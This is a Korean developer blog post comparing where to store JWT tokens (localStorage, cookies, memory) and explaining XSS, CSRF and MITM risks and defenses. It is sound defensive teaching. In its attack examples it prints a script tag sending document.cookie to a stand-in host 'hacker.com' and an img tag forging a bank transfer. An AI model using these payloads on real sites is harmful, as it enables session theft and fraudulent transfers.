[Frontend] JWT 토큰을 어디에 저장해야할까?

mylime·2024년 5월 25일
0

JWT

목록 보기
3/3
post-thumbnail

이 포스팅은 2024-05-22에 작성되었습니다.
(수정사항들)

  • 2024-05-28 예시1 구현 포스팅 글 링크 추가



서론


(프론트엔드 초보의 JWT토큰 관리일기)
최근에 진행한 프로젝트에서 처음으로 프론트엔드를 개발해봤다! 그 과정에서 JWT토큰을 어디에 저장해야 안전하게 저장할 수 있는지에 대한 의문이 생겼다.


이번 프로젝트에서는 JWT토큰을 그대로 LocalStorage에 저장했다. 토큰 저장공간으로 Local Storage를 선택한 이유는 다음과 같다.

  • axios요청 시 jwt토큰을 같이 보내야하기 때문에 vue 파일 어디서든 접근할 수 있어야함
    => pinia(전역 상태관리 라이브러리), LocalStorage, SessionStorage, cookie
  • 많은 사람들이 LocalStorage나 cookie에 JWT 토큰을 저장함
    => LocalStorage, cookie
  • 쿠키는 요청시마다 같이 보내지기 때문에 리소스 낭비라고 생각함
    => LocalStorage

이전에 JWT를 사용해 프로젝트를 진행할 때는 백엔드 입장에서 토큰을 발급해주고, 로그인할 때 검증을 해주는 역할만 했었는데 프론트엔드 입장이 되니 막막함이 컸다. 그래서 로컬 스토리지에 토큰을 저장할 때의 장단점을 제대로 알고 사용했다기보단, 구글링을 통해 사람들이 많이 사용하는 방법을 선택하게 된 것 같다. 3주 시간 내에 빠르게 개발을 해야하는 상황이었기 때문에 고민할 시간이 없었던 것도 있었다.

웹서비스에서 jwt 토큰을 관리하는 방법에 대해 더 알아보고자 블로그 글을 포스팅해보려고 한다!



JWT란


JWT는 JSON Web Token의 약자로, 모바일이나 웹의 사용자 인증을 위해 세션대신 사용되는 암호화된 토큰이다.


토큰은 세 부분으로 구성되며, 모두 base64 문자열로 표시된다. 이 세 부분은 마침표를 기준으로 연결된다.

  • 토큰의 만료 날짜, 서명에 사용되는 알고리즘 및 추가 메타데이터가 포함된 헤더
  • JSON 페이로드
  • 헤더와 페이로드에 서명하여 생성된 서명

사실 JWT토큰은 JSON 객체를 암호화하여 서명한 base64표현에 지나지 않는다. 누구나 jwt토큰에 들어있는 정보를 볼 수 있기 때문에 중요한 정보를 토큰에 포함한다면 굉장히 위험하다.


JWT의 특징

  • 토큰은 무상태 특징을 가지고 있다
  • 그렇기 때문에 서버가 상태를 보관하지 않고, 토큰에 대한 제어권도 가지고 있지 않다

이런 JWT의 특징 때문에 로그아웃을 할 때나 JWT 토큰을 탈취당했을 때 해당 토큰을 서버에서 즉시 만료처리할 수 없다. (따로 저장하는 등의 방법을 사용해야한다.)

토큰을 탈취당하는 상황을 방지하기 위해 JWT는 대부분 accessToken과 refreshToken 두 가지의 토큰으로 구현된다. accessToken은 유효기간을 짧게 가져가서 토큰을 탈취 당하더라도 피해를 예방하고, refreshToken은 유효기간을 길게 가져가서 엑세스 토큰을 재발급하는 용도로 사용한다.



JWT 토큰 탈취 시나리오


해커가 토큰을 사용하거나 탈취하는 방법을 알아야 우리의 소중한 토큰을 지킬 수 있기 때문에 관련 시나리오를 먼저 적어보려고 한다.


엑세스 토큰이 탈취되는 요인

다양한데 주요 원인은 다음과 같다

  • 인증 및 권한부여에 대한 열악한 보안
  • 서비스 코드의 취약성

클라이언트 토큰 탈취 공격 기법

  • XSS(Cross Site Scripting)
  • CSRF(Cross-Site Request Forgery)

XSS(Cross-Site Scripting)

보안이 취약한 웹사이트에 악의적인 스크립트를 걸어놓고 사용자가 이 스크립트를 강제로 실행하게끔 유도하는 방법

사용자가 스크립트를 실행하면 엑세스토큰을 탈취할 수 있다
자세한 내용이 궁금하다면 포스팅을 참고하길 바란다.

예시

<script>document.location='http://hacker.com/cookie?'+document.cookie</script>
  • 커뮤니티 서비스에서 게시글에 태그를 넣어두고 클릭을 유도
  • 클릭 시 스크립트가 실행, 사용자의 쿠키와 로컬스토리지에 접근하여 엑세스 토큰을 탈취

대응방법

  • XSS 방어 관련 라이브러리(express의 helmet)
  • 브라우저 확장 앱
  • 웹 방화벽
  • Set-Cookie의 HttpOnly

아무리 다른 공격을 방어해도 XSS가 뚫리면 아무 소용이 없다. js코드가 실행된다면 로컬스토리지, 변수값 모든 것을 탈취할 수 있기 때문이다. XSS는 웹 보안의 뿌리이다!!


CSRF(Cross-Site Request Forgery)

인터넷 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 특정 웹사이트에 요청하게 만드는 공격기법

정상적인 request를 가로채 변조된 request를 보낸다. 피해자의 정보를 수정하거나 열람할 수 있다. img 태그나 링크로도 사용자 브라우저에서 악의적인 request를 보낼 수 있기 때문에 사용자 브라우저의 js를 조작하는 xss와 성격이 다르다.

😈 예시1

  • 공격자는 유저가 img를 열람하도록 하거나 link를 클릭하도록 유도
  • 이 action은 사용자 의도와는 관계없이 http request를 보냄
  • 유저가 로그인이 되어있는 상태라면 이 request는 정상적으로 서버에 동작을 수행

😈 예시2

  • 공격자는 피해자에게 이메일을 보내고 끝에 "GET A 50% DISCOUNT"라는 CTA 버튼을 추가
  • 사용자는 이 놀라운 제안에 감격하여 버튼을 클릭
  • 실제로 버튼은 웹 애플리케이션, 특히 사용자의 비밀번호를 새 비밀번호로 변경하는 엔드포인트에 POST 양식을 제출
  • 모든 요청(도메인 간 요청 포함)에서 쿠키가 전송되기 때문에 사용자가 웹 애플리케이션의 이전 단계에서 로그인한 경우 엔드포인트는 예상대로 작동
  • 이제 사용자는 로그아웃되어 더 이상 웹 애플리케이션에 로그인할 수 없음

😈 예시3

  • 사용자가 은행 웹사이트에 로그인하여 세션쿠키를 얻음
  • 이 상태로 악성 웹사이트에 방문하면, 악성 웹사이트에 포함된 CSRF 스크립트가 사용자의 브라우저를 통해 은행 웹사이트로 요청을 보냄
  • <img src="https://bank.example.com/transfer?amount=1000&to_account=attacker_account">
  • 사용자 계좌에서 공격자의 계좌로 돈이 이체됨

중간자 공격(MITM: Man In The Middle)

공격자가 사용자의 이넡넷 서버와 해당 인터넷 트래픽의 목적지 사이에 끼어들어 데이터 전송을 가로채는 기법.

보안이 허술한 네트워크에 연결하거나 Https 통신을 사용하지 않을 경우 피해를 입을 수 있다.
이 공격의 경우, 리프레쉬 토큰까지 탈취당할 수 있기 때문에 주의해야한다.



JWT를 저장하는 곳


JWT토큰의 경우, 사용자가 웹페이지를 돌아다닐 때 계속 유지되어야하기 때문에 다음과 같은 클라이언트 공간에 저장될 수 있다.

  • Local Storage
  • Session Storage
  • Cookie
  • 전역 변수 저장소(vue의 경우 pinia)

JWT는 사용자의 개인정보이기 때문에 아무곳에나 저장해서는 안된다. 그래서 저장하는 공간에 따른 취약점을 알고 저장해야한다.
+) 다음 방법들은 https를 사용한다는 가정하에 장점과 단점을 서술하였다. http를 사용하면 사용자의 요청을 그대로 확인할 수 있기 때문에 어떻게 저장하든 토큰은 탈취당할 수 있다. jwt는 https를 사용한다는 가정하에 안전성이 보장된다.


Local Storage

👍 장점

  • 단순한 CSRF 공격에 안전

👎 단점

  • XSS 공격에 취약

로컬스토리지는 javascript 코드에 의해서만 엑세스할 수 있다는 특징이 있다.

쿠키의 경우 모든 request마다 자동으로 쿠키가 포함되기 때문에 CSRF 공격에 취약하다. 하지만 로컬스토리지에 저장된 JWT는 브라우저에서 자동으로 HTTP 요청에 포함되지 않기 때문에 로컬스토리지 자체는 CSRF 공격에 직접적으로 취약하지 않다. 로컬스토리지에 저장된 jwt토큰은 javascript 코드에 의해서만 요청에 담기기 때문이다.(사용자 정의 헤더를 통해 토큰을 보냄)

하지만 XSS공격이 성공한다면, 웹 애플리케이션이 호스팅된 동일한 도메인에서 실행되는 모든 자바스크립트 코드를 통해 로컬 저장소에 액세스할 수 있기 때문에 공격자는 로컬스토리지에 저장된 JWT토큰을 쉽게 탈취할 수 있다.

Session Storage

👍 장점

  • CSRF 공격에 안전

👎 단점

  • XSS 공격에 취약

세션 스토리지는 사용자가 브라우저를 닫을 때 사라지고, 재방문시 로그인해야한다는 점을 제외하면 로컬스토리지와 동일하다.

Cookie사용

👍 장점

  • (Local Storage에 비해) XSS 공격에 안전

👎 단점

  • CSRF 공격에 취약

쿠키 또한 javascript를 통해 접근할 수 있지만, httpOnly 플래그 설정 시 javascript로 접근자체가 불가능하다. 그래서 로컬스토리지에 비해 XSS공격으로부터 안전하다.
물론 HttpOnly도 XSS로부터 완전히 안전하진 않다. HttpOnly로 설정된 쿠키의 내용을 공격자가 볼 수 없다고 해도, 해당 쿠키가 실린 javascript 요청을 보낼 수 있으므로 요청을 쉽게 위조할 수 있다.

하지만 쿠키는 CSRF 공격에 취약하다. 자동으로 request와 같이 보내지는 쿠키의 특성상 사용자가 link를 클릭하도록 만들어 쉽게 request를 위조할 수 있다.


최근에는 쿠키의 CSRF 취약점을 막기 위해 쿠키의 same-site 속성과 javascript의 fetch api속성의 기본값 등으로 reqeust에 쿠키를 싣지 않도록 설정할 수 있게 되었다. (https://medium.com/swlh/7-keys-to-the-mystery-of-a-missing-cookie-fdf22b012f09) 또한 sameSite 플래그와 anti-CSRF tokens를 사용한다면 CSRF를 어느정도 예방시킬 수 있다.

쿠키에 저장된 jwt토큰을 보호하기 위해 다음과 같은 보안방법을 사용할 수 있다.

  • secure: https에서만 볼 수 있도록 함
  • httpOnly: javascript가 쿠키를 읽을 수 없음
  • SameSite
  • __Host-: 안전하지 않은 하위 도메인이 최상위 도메인의 쿠키를 변경하는 걸 방지
  • 서버 비밀번호로 쿠키 값을 암호화하고 서명

이 설정을 사용한다면 XSS 공격이 JWT를 훔칠 수 없다.



JWT 토큰 저장 예시


구글링을 통해 JWT토큰을 저장하는 예시를 보며 좋은 방법을 찾아보려고 한다.

예시1) 쿠키 - accessToken을 private 변수에 저장하고 refresh Token만 쿠키에 저장

(꽤 많은 블로그가 이 방법을 채택하고 있었다)
블로그 링크1
블로그 링크2
블로그 링크3
블로그 링크4


구현 방법을 정리해보면 다음과 같다

✅ 로그인

  • 유저 인증 시 refresh Token을 백엔드에서 secure HttpOnly 쿠키로 설정, accessToken은 json payload(response body)로 반환
  • JSON payload로 받아온 jwt토큰을 웹 어플리케이션 내 로컬 변수에 저장
  • API를 요청할 때 accessToken을 Authorization 헤더에 넣어 보냄

✅ accessToken이 사라졌을 때
  • 이 때 유저가 새로고침 하거나 탭을 전환 시 accessToken이 사라짐
  • accessToken이 사라지거나 만료되었을 때 브라우저에서는 refresh Token을 request에 담아 새로운 accessToken 발급받아 저장
  • XSS 취약점을 이용한 API 요청 공격은 클라이언트와 서버에서 추가적으로 방어

+) 가능하면 refreshToken은 sameSite=strict 플래그를 사용해서 CSRF를 방지해야함. 이 플래그는 Authorization server가 프론트엔드와 같은 사이트 일때만 사용할 수 있음. 만약 이 경우가 아니라면 Authorization server는 CORS header를 백엔드에서 설정하거나 refresh token 요청을 인증된 웹사이트에서만 완료시킬 수 있도록 어떠한 방법으로든지 세팅해주어야 함


❓ 이유

  • 공격자가 JavaScript로 데이터를 탈취하기 쉽기 때문에 access token을 localStorage 나 cookie 에 넣지않음
  • refreshToken만을 secure HttpOnly 쿠키에 저장함으로써 CSRF공격을 방어
    (refresh token이 CSRF에 의해 사용된다 하더라도 공격자는 accessToken을 알 수 없음)
  • private 변수로 저장된 Access Token은 XSS 공격으로 탈취할 수 없고, 당연히 CSRF 공격을 당할 가능성도 없음
  • 따라서 쿠키를 사용하여 XSS를 막고 refresh token 방식을 이용하여 CSRF를 막을 수 있다.

(공격자가 성공적으로 fetch나 AJAX 요청을 하거나 response를 읽는 것을 방지하려면 Authorization server의 CORS 정책을 인증되지 않은 웹사이트로부터 받지 않게 세팅을 잘 해두어야 함)


💌 구현예시(2024-05-28 수정)

  • 이 방법은 직접 구현해보고 싶어서 구현해보고 포스팅을 했다!
  • 궁금하신 분은 블로그 포스트를 참고하면 좋을 것 같다


예시2) localStorage에 저장

블로그 링크

이유

  • 쿠키의 HttpOnly옵션도 XSS공격을 완벽히 막을 수 없음. 어차피 XSS 방어는 필수적이므로 cookie의 장점이 매력적이게 보이지 않는다.
  • cookie 사용 시 백엔드 api에 내가 사용하는 쿠키를 위한 설정을 요구해야함. 백엔드와 조율이 잘 되는 상태라면 cookie도 상관없지만, 서드파티 api의 경우 거의 불가능하므로 localStorage가 더 좋다.
  • mdn은 저장소로 쿠키를 추천하지 않음 - 자료: mdn쿠키

예시3) 쿠키 - 사용자 정의 헤더 사용

블로그 링크

🙆‍♀️ 방법

  • 쿠키 설정을 통해 XSS를 방지하고, CSRF방지를 위해 사용자 정의 헤더를 사용
  • 교차 사이트 요청을 사용자 지정 헤더와 함께 보낼 수 없으므로, 백엔드가 헤드 테스트에 실패한 모든 요청을 거부하면 요청이 성공하지 못한다.
  • 헤더 이름은 X-CSRF-Token이다. 백엔드의 모든 응답은 이 헤더를 전달하며, 프런트엔드가 POST/PUT/PATCH/DELETE 호출을 할 때마다 동일한 값을 가진 동일한 헤더와 함께 전송해야 한다
  • 토큰은 하나의 요청에만 유효할 수 있으므로 CSRF 토큰을 최신 상태로 유지하는 것은 프런트엔드의 책임
  • 위와 같은 방법은 토큰 상태를 계속 추적해야하기 때문에 서버가 stateful 상태로 돌아가는 것과 같음.
  • 이를 해결하기 위해 소위 이중 제출 쿠키 기술을 사용할 수 있다
  • 동일한 토큰을 쿠키와 헤더에 보내고, 서버는 쿠키와 헤더를 일치시켜 토큰을 확인

예시4) 쿠키에 저장 + samesite 정책 활용

글 링크

🙆‍♀️ 방법

  • httpOnly플래그를 사용하여 javascript를 통해 엑세스가 불가능하도록 설정
  • secure플래그를 사용하여 https에서만 쿠키가 전송되도록 설정
  • SameSite 쿠키 정책을 활용
    (Lax SameSite 정책이 적용된 쿠키를 GET요청 외에는 보내지 않음 -> 민감한 엔드 포인트에 데이터를 게시하는 악성 양식을 허용하지 않음)
    (Strict SameSite 정책을 활용하면 쿠키가 어떤 방식으로든 교차 도메인 요청을 통해 전달되는 것을 허용하지 않음 - 가장 안전한 방법)
  • 만약 이를 허용하지 않는 브라우저를 사용자가 사용한다면, 특정 브라우저 버전에서 지원되지 않음을 사용자에게 알리거나, 이전 브라우저를 지원하기 위한 CSRF 토큰 구현으로 대체

❓ 이유

  • Local Storage와 Session Storage는 XSS공격에 취약하기 때문에 사용해서는 안됨
  • 브라우저의 메모리에 저장 시 새로고침할 때마다 새로 로그인해야함, 불편하다.
  • 쿠키를 참조하는 경우 Lax 및 Strict의 경우, 공격자의 URL이 포함된 이미지를 소스로 삽입하면 공격자의 웹사이트로 전송되지 않음. 이는 첫 번째 수준 탐색 이벤트로 간주되지 않기 때문
  • 다만, 공격자가 GET 폼을 생성하고 자바스크립트를 통해 버튼을 클릭하여 전송하는 경우에는 전송될 수 있음. 하지만 Strict 플래그만 사용한다면 모든 도메인 간 쿠키 공유가 방지되므로 괜찮다!
  • 민감한 계정 작업과 관련된 엔드포인트에서는 다른 인증방법을 사용한 추가적인 로그인이 필요하고, 한 번의 API호출에만 유효하며(특히 결제 API호출), 웹 애플리케이션 개발자가 작성한 바닐라 자바스크립트로만 작성된 페이지에서 제공되어야한다고 생각한다.

예시5) Local Storage에 저장 + CSP사용

글 링크

예시4와 같은 글링크이다. 첫 번째 댓글의 의견을 가져와봤다.

  • CSP를 사용하여 인라인 스크립트/비보안 스크립트를 차단하고 신뢰할 수 있는 JS 파일만 허용하도록 강제하는 경우 LocalStorage 사용에 문제가 없다
  • 세션 누출 문제는 외부 통신도 차단할 수 있으므로 CSP로 해결할 수도 있다
  • 임의 이름의 임의 알고리즘을 사용하여 임의 키를 사용하여 로컬 저장소 값을 암호화하도록 제안할 수도 있음
  • 페이지가 XSS에 대해 안전하다면 LocalStorage를 사용할 수 있다!
  • 외부 js를 다른 도메인에서 제공하고, 이 스크립트를 localStorage에 접근하거나 ajax request를 만드는 걸 허용하지 않도록 CSP를 설정 (이 경우 쿠키 구현으로도 안전하다고 함)

❓ 이유

  • 쿠키를 사용하면 세션 값을 안전하게 보호할 수 있지만, 웹사이트가 XSS에 취약하다면 공격자는 세션 값 자체를 훔칠 필요 없이 해당 세션을 사용하여 요청을 보낼 수 있다. 요청이 자신의 웹사이트 내에서 실행되기 때문에 "CSRF 보호"는 XSS로부터 보호하지 않음

JWT를 쿠키에 저장할지, 로컬스토리지에 저장할지에 대한 의견은 굉장히 많다.
쿠키의 저장 공간이 최대 4KB라는 점 등을 잘 고려하여 서비스에 맞는 방법으로 구현하면 좋을 것 같다.
구글은 19년부터 쿠키를 제거하겠다고 말했지만... 계속 연기되고 있는 걸 보면 사라지지 않을 것 같기도 하다. (관련 기사: https://www.itworld.co.kr/news/335192) 만약 쿠키가 사라진다면 로컬스토리지에 어쩔 수 없이 저장해야할 것 같다.



더 알아보면 좋은 글


https://auth0.com/blog/cross-site-request-forgery-csrf/
https://developer.mozilla.org/ko/docs/Web/HTTP/CSP

좋은 글이 너무 많아서 다음에 더 알아보려고 한다.



참고자료


https://velog.io/@0307kwon/JWT%EB%8A%94-%EC%96%B4%EB%94%94%EC%97%90-%EC%A0%80%EC%9E%A5%ED%95%B4%EC%95%BC%ED%95%A0%EA%B9%8C-localStorage-vs-cookie
https://velog.io/@ckdwns9121/%ED%86%A0%ED%81%B0token%EC%9D%80-%EC%96%B4%EB%96%BB%EA%B2%8C-%ED%83%88%EC%B7%A8-%EB%8B%B9%ED%95%98%EB%8A%94%EA%B0%80
https://dev.to/gkoniaris/how-to-securely-store-jwt-tokens-51cf

https://medium.com/swlh/7-keys-to-the-mystery-of-a-missing-cookie-fdf22b012f09

profile
깊게 탐구하는 것을 좋아하는 백엔드 개발자 지망생 lime입니다! 게시글에 틀린 정보가 있다면 지적해주세요. 감사합니다. 이전블로그 주소: https://fladi.tistory.com/

0개의 댓글